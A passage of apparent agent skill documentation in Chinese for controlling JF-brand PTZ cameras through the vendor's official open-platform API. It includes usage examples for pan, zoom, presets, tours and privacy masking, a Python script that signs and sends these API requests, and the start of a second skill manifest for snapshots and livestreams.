python scripts/jf_open_pro_ptz_control.py zoom --zoom-command ZoomTile --action stop
# 设置预置点
python scripts/jf_open_pro_ptz_control.py preset --preset-command set --id 1 --name "门口"
# 转到预置点
python scripts/jf_open_pro_ptz_control.py preset --preset-command goto --id 1
# 获取预置点列表
python scripts/jf_open_pro_ptz_control.py preset --preset-command list
# 添加巡航点
python scripts/jf_open_pro_ptz_control.py tour --tour-command add --tour-id 0 --preset-id 1
# 启动巡航
python scripts/jf_open_pro_ptz_control.py tour --tour-command start --tour-id 0
# 获取巡航列表
python scripts/jf_open_pro_ptz_control.py tour --tour-command list
```
---
## 📋 环境变量
| 变量名 | 说明 | 必需 | 默认值 |
|--------|------|------|--------|
| `JF_UUID` | 开放平台用户唯一标识 | 是 | - |
| `JF_APPKEY` | 开放平台应用 Key | 是 | - |
| `JF_APPSECRET` | 开放平台应用密钥 | 是 | - |
| `JF_MOVECARD` | 签名算法偏移量 (0-9) | 是 | - |
| `JF_SN` | 设备序列号 | 是 | - |
| `JF_USERNAME` | 设备用户名 | 否 | `admin` |
| `JF_PASSWORD` | 设备密码 | 否 | - |
| `JF_ENDPOINT` | API 端点 | 否 | `api.jftechws.com` |
---
## 🛠️ 功能
### 1. 设备状态查询
查询设备在线状态、休眠状态、认证状态、设备 WAN IP 等。
```bash
python scripts/jf_open_pro_ptz_control.py status
```
**返回信息:**
- 设备在线状态(online/notfound)
- 低功耗设备休眠状态
- 认证状态
- 设备 WAN IP
---
### 2. 方向控制 (PTZ)
云台支持 8 个方向转动:
| 方向 | 参数值 |
|------|--------|
| 上 | `up` |
| 下 | `down` |
| 左 | `left` |
| 右 | `right` |
| 左上 | `leftup` |
| 左下 | `leftdown` |
| 右上 | `rightup` |
| 右下 | `rightdown` |
**使用示例:**
```bash
# 开始向上转动(速度 5)
python scripts/jf_open_pro_ptz_control.py ptz --direction up --action start --step 5
# 停止转动
python scripts/jf_open_pro_ptz_control.py ptz --direction up --action stop
```
**参数说明:**
- `--direction`: 方向(up/down/left/right/leftup/leftdown/rightup/rightdown)
- `--action`: 动作(start/stop)
- `--step`: 速度(1-8,1 最慢,8 最快,默认:5)
⚠️ **重要**: 必须先发送 start 再发送 stop,建议间隔 500ms。如果不发送 stop,设备会一直转动到最大角度。
---
### 3. 一键遮蔽 (Mask)
开启后摄像头转至最下方然后转至最右侧,同时关闭视频预览和录像。
```bash
# 开启遮蔽
python scripts/jf_open_pro_ptz_control.py mask --enable true
# 关闭遮蔽
python scripts/jf_open_pro_ptz_control.py mask --enable false
```
---
### 4. 变倍和聚焦控制 (Zoom/Focus)
支持变倍(Zoom)和聚焦(Focus)操作:
| 功能 | 参数值 | 说明 |
|------|--------|------|
| 变倍 - | `ZoomWide` | 缩小(广角) |
| 变倍 + | `ZoomTile` | 放大(长焦) |
| 聚焦 - | `FocusFar` | 聚焦远处 |
| 聚焦 + | `FocusNear` | 聚焦近处 |
| 光圈 - | `IrisSmall` | 缩小光圈 |
| 光圈 + | `IrisLarge` | 放大光圈 |
**使用示例:**
```bash
# 开始变倍 +(放大)
python scripts/jf_open_pro_ptz_control.py zoom --zoom-command ZoomTile --action start --step 8
# 停止
python scripts/jf_open_pro_ptz_control.py zoom --zoom-command ZoomTile --action stop
```
---
### 5. 预置位管理 (Preset)
预置点编号范围:1-255(建议不使用 200 以后的编号)
**特殊预置点:**
- `100`: 移动追踪守望位(追踪停止后自动回归)
- `128`: 自检回归预置点(设备重启或自检时回归)
**操作类型:**
| 操作 | 参数值 | 说明 |
|------|--------|------|
| 设置预置点 | `set` | 将当前位置保存为预置点 |
| 删除预置点 | `clear` | 删除指定预置点 |
| 转到预置点 | `goto` | 云台转动到预置点位置 |
| 编辑预置点名 | `name` | 修改预置点名称 |
| 获取列表 | `list` | 获取所有预置点 |
**使用示例:**
```bash
# 设置预置点 1,名称为"门口"
python scripts/jf_open_pro_ptz_control.py preset --preset-command set --id 1 --name "门口"
# 转到预置点 1
python scripts/jf_open_pro_ptz_control.py preset --preset-command goto --id 1
# 删除预置点 1
python scripts/jf_open_pro_ptz_control.py preset --preset-command clear --id 1
# 编辑预置点名称
python scripts/jf_open_pro_ptz_control.py preset --preset-command name --id 1 --name "新名称"
# 获取预置点列表
python scripts/jf_open_pro_ptz_control.py preset --preset-command list
```
---
### 6. 巡航计划管理 (Tour)
巡航功能让设备在多个预置点之间自动循环巡视。
**操作类型:**
| 操作 | 参数值 | 说明 |
|------|--------|------|
| 添加巡航点 | `add` | 往巡航线路添加预置点 |
| 删除巡航点 | `delete` | 从巡航线路删除预置点 |
| 启动巡航 | `start` | 开始自动巡航 |
| 停止巡航 | `stop` | 停止巡航 |
| 清除巡航线路 | `clear` | 清空整个巡航线路 |
| 获取列表 | `list` | 获取巡航配置 |
**使用示例:**
```bash
# 添加预置点 1 到巡航线路 0
python scripts/jf_open_pro_ptz_control.py tour --tour-command add --tour-id 0 --preset-id 1 --step 5
# 添加预置点 2 到巡航线路 0
python scripts/jf_open_pro_ptz_control.py tour --tour-command add --tour-id 0 --preset-id 2
# 启动巡航线路 0
python scripts/jf_open_pro_ptz_control.py tour --tour-command start --tour-id 0
# 停止巡航
python scripts/jf_open_pro_ptz_control.py tour --tour-command stop --tour-id 0
# 获取巡航配置
python scripts/jf_open_pro_ptz_control.py tour --tour-command list
```
---
## 📖 使用场景示例
### 场景 1: 基础云台控制
```bash
# 1. 检查设备状态
python scripts/jf_open_pro_ptz_control.py status
# 2. 向上转动
python scripts/jf_open_pro_ptz_control.py ptz --direction up --action start
sleep 1
python scripts/jf_open_pro_ptz_control.py ptz --direction up --action stop
# 3. 向右转动
python scripts/jf_open_pro_ptz_control.py ptz --direction right --action start
sleep 1
python scripts/jf_open_pro_ptz_control.py ptz --direction right --action stop
```
### 场景 2: 设置并使用预置位
```bash
# 1. 转动到目标位置
python scripts/jf_open_pro_ptz_control.py ptz --direction up --action start
sleep 1
python scripts/jf_open_pro_ptz_control.py ptz --direction up --action stop
# 2. 保存为预置点 1
python scripts/jf_open_pro_ptz_control.py preset --preset-command set --id 1 --name "门口"
# 3. 转动到其他位置...
# 4. 回到预置点 1
python scripts/jf_open_pro_ptz_control.py preset --preset-command goto --id 1
```
### 场景 3: 设置自动巡航
```bash
# 1. 设置多个预置点
python scripts/jf_open_pro_ptz_control.py preset --preset-command set --id 1 --name "位置 1"
python scripts/jf_open_pro_ptz_control.py preset --preset-command set --id 2 --name "位置 2"
python scripts/jf_open_pro_ptz_control.py preset --preset-command set --id 3 --name "位置 3"
# 2. 添加到巡航线路
python scripts/jf_open_pro_ptz_control.py tour --tour-command add --tour-id 0 --preset-id 1
python scripts/jf_open_pro_ptz_control.py tour --tour-command add --tour-id 0 --preset-id 2
python scripts/jf_open_pro_ptz_control.py tour --tour-command add --tour-id 0 --preset-id 3
# 3. 启动巡航
python scripts/jf_open_pro_ptz_control.py tour --tour-command start --tour-id 0
```
---
## ⚠️ 错误处理
| 错误码 | 说明 | 解决方案 |
|--------|------|----------|
| `2000` | 成功 | - |
| `4118` | 连接超时 | 设备离线/休眠,稍后重试 |
| `10001` | Token 无效 | 重新获取 Token |
| `10002` | 设备未登录 | 脚本会自动处理登录 |
| `526` | 低电量/不支持 | 设备电量不足或为固定摄像头 |
### 错误码 526 说明
**含义:** 设备支持云台,但电量过低无法执行
**解决方案:**
1. 给设备充电
2. 等待电量恢复至 20% 以上
3. 使用电源供电模式
---
## ⚠️ 注意事项
1. **设备需在线** - 操作前确保设备在线
2. **设备需登录** - 脚本会自动处理设备登录
3. **PTZ 控制** - start/stop 指令需串行发送(间隔 500ms)
4. **预置点范围** - 建议使用 1-199 编号
5. **电量检查** - 低电量时云台功能可能被禁用
---
## 📚 官方参考资料
- **杰峰开放平台**: https://open.jftech.com/
- **API 文档**: https://docs.jftech.com/
- **API 端点**: `api.jftechws.com` (国际) / `api-cn.jftech.com` (中国大陆)
---
## 📁 脚本工具
```bash
# 获取帮助
python scripts/jf_open_pro_ptz_control.py --help
# 查询设备状态
python scripts/jf_open_pro_ptz_control.py status
# PTZ 方向控制
python scripts/jf_open_pro_ptz_control.py ptz --direction <方向> --action <start|stop>
# 一键遮蔽
python scripts/jf_open_pro_ptz_control.py mask --enable <true|false>
# 变倍聚焦
python scripts/jf_open_pro_ptz_control.py zoom --zoom-command <命令> --action <start|stop>
# 预置点管理
python scripts/jf_open_pro_ptz_control.py preset --preset-command <set|clear|goto|name|list> [选项]
# 巡航管理
python scripts/jf_open_pro_ptz_control.py tour --tour-command <add|delete|start|stop|clear|list> [选项]
```
脚本路径:`scripts/jf_open_pro_ptz_control.py`
---
**技能版本:** v1.0.0
**语言:** Python
**最后更新:** 2026-04-07
FILE:scripts/jf_open_pro_ptz_control.py
#!/usr/bin/env python3
"""
JF 杰峰云台 PTZ 控制工具 - Python 版本
仅支持环境变量配置凭据,避免命令行泄露风险。
用法:
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5
export JF_SN="your-device-sn"
export JF_USERNAME="admin"
export JF_PASSWORD="your-password"
python jf_open_pro_ptz_control.py status
python jf_open_pro_ptz_control.py ptz --direction up --action start
python jf_open_pro_ptz_control.py mask --enable true
python jf_open_pro_ptz_control.py zoom --zoom-command ZoomTile --action start
python jf_open_pro_ptz_control.py preset --preset-command set --id 1 --name "门口"
python jf_open_pro_ptz_control.py tour --tour-command add --tour-id 0 --preset-id 1
"""
import argparse
import hashlib
import json
import os
import time
import urllib.request
import urllib.error
# ==================== 工具函数 ====================
def str2byte(s):
"""字符串转字节数组(UTF-8 编码)"""
return list(s.encode('utf-8'))
def change(encrypt_str, move_card):
"""移位算法"""
encrypt_byte = str2byte(encrypt_str)
length = len(encrypt_byte)
for idx in range(length):
tmp = encrypt_byte[idx] if (idx % move_card) > ((length - idx) % move_card) else encrypt_byte[length - (idx + 1)]
encrypt_byte[idx], encrypt_byte[length - (idx + 1)] = encrypt_byte[length - (idx + 1)], tmp
return encrypt_byte
def merge_byte(encrypt_byte, change_byte):
"""合并字节数组"""
length = len(encrypt_byte)
temp = [0] * (length * 2)
for idx in range(length):
temp[idx] = encrypt_byte[idx]
temp[length * 2 - 1 - idx] = change_byte[idx]
return temp
def get_signature(uuid, app_key, app_secret, time_millis, move_card=5):
"""获取签名"""
encrypt_str = uuid + app_key + app_secret + time_millis
encrypt_byte = str2byte(encrypt_str)
change_byte = change(encrypt_str, move_card)
merged_byte = merge_byte(encrypt_byte, change_byte)
return hashlib.md5(bytes(merged_byte)).hexdigest()
def get_time_millis():
"""获取 20 位时间戳"""
return str(int(time.time() * 1000)).zfill(20)
def generate_request_id():
"""生成 32 位请求 ID"""
import random
return ''.join(random.choice('0123456789abcdef') for _ in range(32))
# ==================== HTTP 请求 ====================
def https_post(url, data, headers):
"""发送 HTTPS POST 请求"""
req = urllib.request.Request(
url,
data=json.dumps(data).encode('utf-8'),
headers=headers,
method='POST'
)
req.add_header('Content-Type', 'application/json')
try:
with urllib.request.urlopen(req, timeout=30) as response:
return json.loads(response.read().decode('utf-8'))
except urllib.error.HTTPError as e:
raise Exception(f'HTTP 错误:{e.code} - {e.reason}')
except urllib.error.URLError as e:
raise Exception(f'请求失败:{e.reason}')
# ==================== 认证相关 ====================
def get_device_token(config):
"""获取设备 Token"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/token"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
data = {'sns': [config['deviceSn']], 'accessToken': ''}
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"获取 Token 失败:{response.get('msg')} (code: {response.get('code')})")
if not response.get('data') or len(response['data']) == 0:
raise Exception('获取 Token 失败:返回数据为空')
return response['data'][0]['token']
def device_login(config, device_token, keepalive_time=300):
"""设备登录"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/login/{device_token}"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
data = {
'UserName': config['userName'],
'PassWord': config['passWord'] or '',
'KeepaliveTime': keepalive_time
}
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"设备登录失败:{response.get('msg')} (code: {response.get('code')})")
if response.get('data', {}).get('Ret') != 100:
raise Exception(f"设备登录失败:设备返回码 {response['data']['Ret']}")
return response['data']
# ==================== 设备状态查询 ====================
def get_device_status(config):
"""获取设备状态"""
print('>>> 获取设备 Token...')
device_token = get_device_token(config)
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/status"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
data = {'deviceTokenList': [device_token], 'region': 'Local'}
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"查询状态失败:{response.get('msg')} (code: {response.get('code')})")
return response['data'][0]
# ==================== PTZ 方向控制 ====================
DIRECTION_MAP = {
'up': 'DirectionUp',
'down': 'DirectionDown',
'left': 'DirectionLeft',
'right': 'DirectionRight',
'leftup': 'DirectionLeftUp',
'leftdown': 'DirectionLeftDown',
'rightup': 'DirectionRightUp',
'rightdown': 'DirectionRightDown'
}
def ptz_control(config, device_token, direction, action, step=5, channel=0):
"""云台方向控制"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/opdev/{device_token}"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
command = DIRECTION_MAP.get(direction.lower())
if not command:
raise Exception(f'无效的方向:{direction}')
preset = 0 if action.lower() == 'start' else -1
data = {
'Name': 'OPPTZControl',
'OPPTZControl': {
'Command': command,
'Parameter': {
'Preset': preset,
'Channel': channel,
'Step': step
}
}
}
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"PTZ 控制失败:{response.get('msg')} (code: {response.get('code')})")
return response['data']
# ==================== 一键遮蔽 ====================
def set_mask(config, device_token, enable):
"""一键遮蔽"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/setconfig/{device_token}"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
data = {
'Name': 'General.OneKeyMaskVideo',
'General.OneKeyMaskVideo': [{'Enable': enable}]
}
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"一键遮蔽设置失败:{response.get('msg')} (code: {response.get('code')})")
return response['data']
# ==================== 变倍聚焦控制 ====================
def zoom_focus_control(config, device_token, command, action, step=8, channel=0):
"""变倍聚焦控制"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/opdev/{device_token}"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
preset = 0 if action.lower() == 'start' else -1
data = {
'Name': 'OPPTZControl',
'OPPTZControl': {
'Command': command,
'Parameter': {
'Channel': channel,
'Step': step,
'Preset': preset
}
}
}
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"变倍聚焦控制失败:{response.get('msg')} (code: {response.get('code')})")
return response['data']
# ==================== 预置点管理 ====================
def preset_control(config, device_token, command, preset_id, preset_name='', channel=0):
"""预置点控制"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/opdev/{device_token}"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
command_map = {
'set': 'SetPreset',
'clear': 'ClearPreset',
'goto': 'GotoPreset',
'name': 'SetPresetName'
}
op_command = command_map.get(command.lower())
if not op_command:
raise Exception(f'无效的预置点命令:{command}')
data = {
'Name': 'OPPTZControl',
'OPPTZControl': {
'Command': op_command,
'Parameter': {
'Preset': preset_id,
'Channel': channel
}
}
}
if command in ['set', 'name']:
data['OPPTZControl']['Parameter']['PresetName'] = preset_name or f'预置点{preset_id}'
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"预置点操作失败:{response.get('msg')} (code: {response.get('code')})")
return response['data']
def get_preset_list(config, device_token):
"""获取预置点列表"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/getconfig/{device_token}"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
data = {'Name': 'Uart.PTZPreset'}
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"获取预置点列表失败:{response.get('msg')} (code: {response.get('code')})")
# API 返回的是二维数组,需要扁平化
presets = response['data'].get('Uart.PTZPreset', [])
return [item for sublist in presets for item in sublist] if presets else []
# ==================== 巡航管理 ====================
def tour_control(config, device_token, command, tour_id=0, preset_id=0, step=5, channel=0):
"""巡航控制"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/opdev/{device_token}"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
command_map = {
'add': 'AddTour',
'delete': 'DeleteTour',
'start': 'StartTour',
'stop': 'StopTour',
'clear': 'ClearTour'
}
op_command = command_map.get(command.lower())
if not op_command:
raise Exception(f'无效的巡航命令:{command}')
data = {
'Name': 'OPPTZControl',
'OPPTZControl': {
'Command': op_command,
'Parameter': {
'Tour': tour_id,
'Channel': channel
}
}
}
if command in ['add', 'delete']:
data['OPPTZControl']['Parameter']['Preset'] = preset_id
data['OPPTZControl']['Parameter']['Step'] = step
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"巡航操作失败:{response.get('msg')} (code: {response.get('code')})")
return response['data']
def get_tour_list(config, device_token):
"""获取巡航列表"""
time_millis = get_time_millis()
signature = get_signature(config['uuid'], config['appKey'], config['appSecret'], time_millis, config['moveCard'])
url = f"https://{config['endpoint']}/gwp/v3/rtc/device/getconfig/{device_token}"
headers = {
'uuid': config['uuid'],
'appKey': config['appKey'],
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': generate_request_id()
}
data = {'Name': 'Uart.PTZTour'}
response = https_post(url, data, headers)
if response.get('code') != 2000:
raise Exception(f"获取巡航列表失败:{response.get('msg')} (code: {response.get('code')})")
return response['data'].get('Uart.PTZTour', [])
# ==================== 命令行参数解析 ====================
def parse_args():
parser = argparse.ArgumentParser(
description='JLink 杰峰云台 PTZ 控制工具 - Python 版本',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
环境变量:
JF_UUID 开放平台用户唯一标识 (必需)
JF_APPKEY 开放平台应用 Key (必需)
JF_APPSECRET 开放平台应用密钥 (必需)
JF_MOVECARD 签名算法偏移量,通常设为 5 (必需)
JF_SN 设备序列号 (必需)
JF_USERNAME 设备用户名,默认 admin (可选)
JF_PASSWORD 设备密码 (可选)
JF_ENDPOINT API 端点,默认 api.jftechws.com (可选)
示例:
# 设置环境变量
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5
export JF_SN="your-device-sn"
# 查询设备状态
python jf_open_pro_ptz_control.py status
# 云台方向控制(向上转动)
python jf_open_pro_ptz_control.py ptz --direction up --action start
python jf_open_pro_ptz_control.py ptz --direction up --action stop
# 一键遮蔽
python jf_open_pro_ptz_control.py mask --enable true
# 变倍控制(放大)
python jf_open_pro_ptz_control.py zoom --zoom-command ZoomTile --action start
python jf_open_pro_ptz_control.py zoom --zoom-command ZoomTile --action stop
# 设置预置点
python jf_open_pro_ptz_control.py preset --preset-command set --id 1 --name "门口"
# 转到预置点
python jf_open_pro_ptz_control.py preset --preset-command goto --id 1
# 添加巡航点
python jf_open_pro_ptz_control.py tour --tour-command add --tour-id 0 --preset-id 1
# 启动巡航
python jf_open_pro_ptz_control.py tour --tour-command start --tour-id 0
''')
parser.add_argument('command', choices=['status', 'ptz', 'mask', 'zoom', 'preset', 'tour'], help='命令')
# PTZ 参数
parser.add_argument('--direction', choices=['up', 'down', 'left', 'right', 'leftup', 'leftdown', 'rightup', 'rightdown'], help='方向')
parser.add_argument('--action', choices=['start', 'stop'], help='动作')
parser.add_argument('--step', type=int, default=5, help='速度 1-8(默认:5)')
# Mask 参数
parser.add_argument('--enable', type=str, help='开启/关闭遮蔽 (true/false)')
# Zoom 参数
parser.add_argument('--zoom-command', dest='zoom_command', help='变倍/聚焦命令')
# Preset 参数
parser.add_argument('--preset-command', dest='preset_command', help='预置点操作 (set/clear/goto/name/list)')
parser.add_argument('--id', type=int, help='预置点 ID')
parser.add_argument('--name', help='预置点名称')
# Tour 参数
parser.add_argument('--tour-command', dest='tour_command', help='巡航操作 (add/delete/start/stop/clear/list)')
parser.add_argument('--tour-id', dest='tour_id', type=int, default=0, help='巡航线路 ID(默认:0)')
parser.add_argument('--preset-id', dest='preset_id', type=int, help='预置点 ID')
return parser.parse_args()
def get_config_from_env():
"""从环境变量读取配置"""
required_vars = ['JF_UUID', 'JF_APPKEY', 'JF_APPSECRET', 'JF_MOVECARD', 'JF_SN']
missing_vars = [var for var in required_vars if not os.environ.get(var)]
if missing_vars:
raise Exception(f"缺少必需的环境变量:{', '.join(missing_vars)}\n"
f"请设置:export JF_UUID='...' JF_APPKEY='...' JF_APPSECRET='...' JF_MOVECARD=5 JF_SN='...'")
return {
'uuid': os.environ.get('JF_UUID'),
'appKey': os.environ.get('JF_APPKEY'),
'appSecret': os.environ.get('JF_APPSECRET'),
'moveCard': int(os.environ.get('JF_MOVECARD', 5)),
'endpoint': os.environ.get('JF_ENDPOINT', 'api.jftechws.com'),
'deviceSn': os.environ.get('JF_SN'),
'userName': os.environ.get('JF_USERNAME', 'admin'),
'passWord': os.environ.get('JF_PASSWORD', '')
}
def main():
args = parse_args()
try:
config = get_config_from_env()
except Exception as e:
print(f'❌ 配置错误:{e}')
return 1
try:
if args.command == 'status':
print('========================================')
print('JLink 设备状态查询')
print('========================================')
print(f"设备 SN: {config['deviceSn']}")
print()
status = get_device_status(config)
print('=== 设备状态 ===')
print(f"设备序列号:{status.get('uuid')}")
print(f"状态:{status.get('status')}")
print(f"认证状态:{status.get('authStatus')}")
if status.get('wakeUpStatus') is not None:
print(f"唤醒状态:{status.get('wakeUpStatus')}")
if status.get('wakeUpEnable') is not None:
print(f"支持唤醒:{status.get('wakeUpEnable')}")
if status.get('wanIp'):
print(f"WAN IP: {status.get('wanIp')}")
elif args.command == 'ptz':
if not args.direction or not args.action:
print('❌ PTZ 命令需要 --direction 和 --action 参数')
return 1
print('========================================')
print('JLink 云台方向控制')
print('========================================')
print(f"设备 SN: {config['deviceSn']}")
print(f"方向:{args.direction}")
print(f"动作:{args.action}")
print(f"速度:{args.step}")
print()
device_token = get_device_token(config)
result = ptz_control(config, device_token, args.direction, args.action, args.step)
print('✅ PTZ 控制成功')
print(f"返回码:{result.get('Ret')}")
elif args.command == 'mask':
if args.enable is None:
print('❌ Mask 命令需要 --enable 参数')
return 1
enable = args.enable.lower() == 'true'
print('========================================')
print('JLink 一键遮蔽')
print('========================================')
print(f"设备 SN: {config['deviceSn']}")
print(f"开启遮蔽:{enable}")
print()
device_token = get_device_token(config)
result = set_mask(config, device_token, enable)
print(f"✅ 一键遮蔽{'开启' if enable else '关闭'}成功")
print(f"返回码:{result.get('Ret')}")
elif args.command == 'zoom':
if not args.zoom_command or not args.action:
print('❌ Zoom 命令需要 --zoom-command 和 --action 参数')
return 1
print('========================================')
print('JLink 变倍聚焦控制')
print('========================================')
print(f"设备 SN: {config['deviceSn']}")
print(f"命令:{args.zoom_command}")
print(f"动作:{args.action}")
print(f"速度:{args.step}")
print()
device_token = get_device_token(config)
result = zoom_focus_control(config, device_token, args.zoom_command, args.action, args.step)
print('✅ 变倍聚焦控制成功')
print(f"返回码:{result.get('Ret')}")
elif args.command == 'preset':
if not args.preset_command:
print('❌ Preset 命令需要 --preset-command 参数')
return 1
print('========================================')
print('JLink 预置点管理')
print('========================================')
print(f"设备 SN: {config['deviceSn']}")
print(f"操作:{args.preset_command}")
if args.id is not None:
print(f"预置点 ID: {args.id}")
if args.name:
print(f"名称:{args.name}")
print()
device_token = get_device_token(config)
if args.preset_command == 'list':
presets = get_preset_list(config, device_token)
print('=== 预置点列表 ===')
if not presets:
print('暂无预置点')
else:
for p in presets:
print(f" ID {p.get('Id')}: {p.get('PresetName')}")
else:
if args.id is None:
print('❌ 需要指定 --id 参数')
return 1
result = preset_control(config, device_token, args.preset_command, args.id, args.name or '')
print(f'✅ 预置点{args.preset_command}成功')
print(f"返回码:{result.get('Ret')}")
elif args.command == 'tour':
if not args.tour_command:
print('❌ Tour 命令需要 --tour-command 参数')
return 1
print('========================================')
print('JLink 巡航管理')
print('========================================')
print(f"设备 SN: {config['deviceSn']}")
print(f"操作:{args.tour_command}")
print(f"巡航线路 ID: {args.tour_id}")
if args.preset_id is not None:
print(f"预置点 ID: {args.preset_id}")
print()
device_token = get_device_token(config)
if args.tour_command == 'list':
tours = get_tour_list(config, device_token)
print('=== 巡航线路列表 ===')
print(json.dumps(tours, indent=2, ensure_ascii=False))
else:
result = tour_control(config, device_token, args.tour_command, args.tour_id, args.preset_id or 0, args.step)
print(f'✅ 巡航{args.tour_command}成功')
print(f"返回码:{result.get('Ret')}")
print('========================================')
return 0
except Exception as e:
print(f'❌ 错误:{e}')
return 1
if __name__ == '__main__':
exit(main())
面向开发者杰峰设备 API 工具,支持批量获取杰峰设备实时画面,可多设备多通道抓图和直播地址获取。触发词:检查设备状态、查询设备、设备登录、设备抓图、直播地址、获取播放地址、批量抓图。
---
name: jf-open-pro-capture-livestream
description: 面向开发者杰峰设备 API 工具,支持批量获取杰峰设备实时画面,可多设备多通道抓图和直播地址获取。触发词:检查设备状态、查询设备、设备登录、设备抓图、直播地址、获取播放地址、批量抓图。
# 必需凭证声明 - 平台元数据
credentials:
required:
- name: JF_UUID
type: string
description: 杰峰开放平台用户唯一标识
source: https://open.jftech.com/
- name: JF_APPKEY
type: string
description: 杰峰开放平台应用 Key
source: https://open.jftech.com/
- name: JF_APPSECRET
type: string
description: 杰峰开放平台应用密钥
source: https://open.jftech.com/
- name: JF_MOVECARD
type: integer
description: 签名算法偏移量 (0-9)
source: https://open.jftech.com/
optional:
- name: JF_USERNAME
type: string
description: 设备用户名
default: admin
- name: JF_PASSWORD
type: string
description: 设备密码
- name: JF_SN
type: string
description: 设备序列号
- name: JF_ENDPOINT
type: string
description: API 端点
default: api.jftechws.com
# 网络端点声明
endpoints:
- url: https://api.jftechws.com
description: 杰峰官方 API (国际)
- url: https://api-cn.jftech.com
description: 杰峰官方 API (中国大陆)
# 安全声明
security:
credentials_required: true
env_vars_only: true # 仅支持环境变量
language: python # 仅支持 Python
---
# JF Open Pro Capture Livestream
> **面向开发者杰峰设备 API 工具 (Python)**
>
> 支持批量获取杰峰设备实时画面,可多设备多通道抓图和直播地址获取。
---
## 🔒 安全说明
**仅支持环境变量存储凭据**
| 方式 | 支持 | 说明 |
|------|------|------|
| **环境变量** | ✅ 支持 | 不会在进程列表中暴露,不会执行本地代码 |
| **命令行参数** | ❌ 不支持 | 避免凭据泄露风险 |
| **配置文件** | ❌ 不支持 | 避免代码执行风险 |
---
## 🚀 快速开始
### 设置环境变量
```bash
export JF_UUID="your-uuid" # 开放平台用户唯一标识
export JF_APPKEY="your-appkey" # 开放平台应用 Key
export JF_APPSECRET="your-appsecret" # 开放平台应用密钥
export JF_MOVECARD=5 # 签名算法偏移量 (0-9)
export JF_SN="your-device-sn" # 设备序列号
```
### 使用技能
```bash
# 查询设备状态
python scripts/jf_open_pro_capture_livestream.py status
# 设备登录
python scripts/jf_open_pro_capture_livestream.py login
# 云抓图
python scripts/jf_open_pro_capture_livestream.py capture
# 获取直播地址
python scripts/jf_open_pro_capture_livestream.py livestream
# 获取 Token
python scripts/jf_open_pro_capture_livestream.py token
```
---
## 📋 环境变量
| 变量名 | 说明 | 必需 | 默认值 |
|--------|------|------|--------|
| `JF_UUID` | 开放平台用户唯一标识 | 是 | - |
| `JF_APPKEY` | 开放平台应用 Key | 是 | - |
| `JF_APPSECRET` | 开放平台应用密钥 | 是 | - |
| `JF_MOVECARD` | 签名算法偏移量 (0-9) | 是 | - |
| `JF_SN` | 设备序列号 | 是 | - |
| `JF_USERNAME` | 设备用户名 | 否 | `admin` |
| `JF_PASSWORD` | 设备密码 | 否 | - |
| `JF_ENDPOINT` | API 端点 | 否 | `api.jftechws.com` |
| `JF_KEEPALIVE` | 保活时长(秒) | 否 | `300` |
---
## 🛠️ 功能
1. **获取设备 Token** - 通过设备序列号获取 24 小时有效的访问令牌
